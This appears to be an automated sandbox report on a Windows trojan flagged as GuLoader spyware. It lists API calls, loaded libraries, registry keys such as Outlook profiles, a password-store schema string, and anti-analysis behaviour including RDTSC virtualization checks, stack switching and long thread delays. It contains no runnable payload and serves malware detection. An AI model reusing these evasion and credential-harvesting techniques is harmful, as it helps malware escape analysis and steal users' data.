Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39581CB0	6_2_39581CB0
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39581CA0	6_2_39581CA0
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39583F70	6_2_39583F70
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39583F60	6_2_39583F60
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39585F10	6_2_39585F10
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39585F01	6_2_39585F01
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_395867C0	6_2_395867C0
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_3958AFF8	6_2_3958AFF8
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_3958AFF7	6_2_3958AFF7
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_395867B0	6_2_395867B0
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39580FA8	6_2_39580FA8
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39585650	6_2_39585650
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39588640	6_2_39588640
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39585660	6_2_39585660
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39582E10	6_2_39582E10
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_395836C0	6_2_395836C0
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_395896B8	6_2_395896B8
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_395836B0	6_2_395836B0
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_399DE7C8	6_2_399DE7C8
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_399DD608	6_2_399DD608
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_399D6FA0	6_2_399D6FA0
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_399D8328	6_2_399D8328

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe

Code function: String function: 00402C41 appears 51 times

Source: 9Yn5tjyOgT.exe, 00000000.00000000.2141245666.0000000000455000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesupraocular tailorizes.exeDVarFileInfo$ vs 9Yn5tjyOgT.exe
Source: 9Yn5tjyOgT.exe, 00000006.00000002.3412063078.0000000006782000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs 9Yn5tjyOgT.exe
Source: 9Yn5tjyOgT.exe, 00000006.00000000.2769996134.0000000000455000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesupraocular tailorizes.exeDVarFileInfo$ vs 9Yn5tjyOgT.exe
Source: 9Yn5tjyOgT.exe, 00000006.00000002.3431979224.0000000036A37000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs 9Yn5tjyOgT.exe
Source: 9Yn5tjyOgT.exe	Binary or memory string: OriginalFilenamesupraocular tailorizes.exeDVarFileInfo$ vs 9Yn5tjyOgT.exe

Source: 9Yn5tjyOgT.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/8@6/5

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 0_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004034A5
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,LdrInitializeThunk,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		6_2_004034A5

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe

Code function: 0_2_00404850 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_00404850

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe

Code function: 0_2_00402104 CoCreateInstance,

0_2_00402104

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe

File created: C:\Users\user\AppData\Local\Iw

Jump to behavior

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe

File created: C:\Users\user\AppData\Local\Temp\nsr3981.tmp

Jump to behavior

Source: 9Yn5tjyOgT.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036DE5000.00000004.00000800.00020000.00000000.sdmp, 9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036E08000.00000004.00000800.00020000.00000000.sdmp, 9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036DF3000.00000004.00000800.00020000.00000000.sdmp, 9Yn5tjyOgT.exe, 00000006.00000002.3433593905.0000000037D1D000.00000004.00000800.00020000.00000000.sdmp, 9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036DD5000.00000004.00000800.00020000.00000000.sdmp, 9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036E14000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 9Yn5tjyOgT.exe	Virustotal: Detection: 76%
Source: 9Yn5tjyOgT.exe	ReversingLabs: Detection: 65%

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe

File read: C:\Users\user\Desktop\9Yn5tjyOgT.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\9Yn5tjyOgT.exe "C:\Users\user\Desktop\9Yn5tjyOgT.exe"
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process created: C:\Users\user\Desktop\9Yn5tjyOgT.exe "C:\Users\user\Desktop\9Yn5tjyOgT.exe"
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process created: C:\Users\user\Desktop\9Yn5tjyOgT.exe "C:\Users\user\Desktop\9Yn5tjyOgT.exe"	Jump to behavior

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: 9Yn5tjyOgT.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000000.00000002.2773955750.00000000070E9000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3405749429.0000000005439000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe

Code function: 0_2_738E1B5F GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_738E1B5F

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe

Code function: 6_3_001949CC push eax; iretd

6_3_001949CD

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe

File created: C:\Users\user\AppData\Local\Temp\nsr3ABB.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	API/Special instruction interceptor: Address: 768C8E3
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	API/Special instruction interceptor: Address: 59DC8E3

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	RDTSC instruction interceptor: First address: 765096C second address: 765096C instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007F0D2874FBEAh 0x00000006 inc ebp 0x00000007 inc ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	RDTSC instruction interceptor: First address: 59A096C second address: 59A096C instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007F0D2880040Ah 0x00000006 inc ebp 0x00000007 inc ebx 0x00000008 rdtsc

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Memory allocated: 110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Memory allocated: 36CF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Memory allocated: 36AD0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 599884	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 599539	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 598953	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 598844	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 598719	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 598610	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 598485	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 598360	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 598235	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 598110	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 597985	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 597860	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 597222	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 596999	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 596846	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 596725	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 596594	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 596452	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 596344	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 596110	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 595860	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 595735	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 595610	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 595485	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 595360	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 594826	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 594719	Jump to behavior
